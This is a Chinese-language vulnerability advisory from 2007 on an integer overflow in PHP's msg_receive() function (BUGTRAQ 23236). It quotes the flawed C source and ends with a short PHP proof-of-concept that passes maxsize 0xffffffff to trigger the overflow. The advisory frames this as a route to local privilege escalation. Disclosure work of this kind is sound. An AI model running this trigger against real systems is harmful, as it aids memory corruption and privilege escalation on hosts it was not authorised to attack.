PHP Msg_Receive()内存分配整数溢出漏洞

2007-04-0300:00:00

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BUGTRAQ ID: 23236

PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。

PHP的msg_receive()函数实现上存在整数溢出漏洞，本地攻击者可能利用此漏洞提升自己的权限。

PHP的msg_receive()函数没有对maxsize参数执行任何检查便直接在内存分配中使用，导致整数溢出。有漏洞的代码如下：

PHP_FUNCTION(msg_receive)
{
…
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlzlz|blz",
&queue, &desiredmsgtype, &out_msgtype, &maxsize,
&out_message, &do_unserialize, &flags, &zerrcode) == FAILURE) {
return;
}
…
messagebuffer = (struct php_msgbuf *) emalloc(sizeof(struct php_msgbuf) + maxsize);

result = msgrcv(mq-&gt;id, messagebuffer, maxsize, desiredmsgtype, realflags);

如果内部的msgrcv()函数能够接受负数的maxsize的话，就可能导致缓冲区溢出。

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                                                &lt;?php

  $MSGKEY = 519052;

  $msg_id = msg_get_queue ($MSGKEY, 0600);

  if (!msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
    echo &quot;Msg not sent because $msg_err\n&quot;;

  if (msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
    echo &quot;$msg\n&quot;;
  } else {
    echo &quot;Received $msg_error fetching message\n&quot;;
    break;
  }

  msg_remove_queue ($msg_id);

?&gt;

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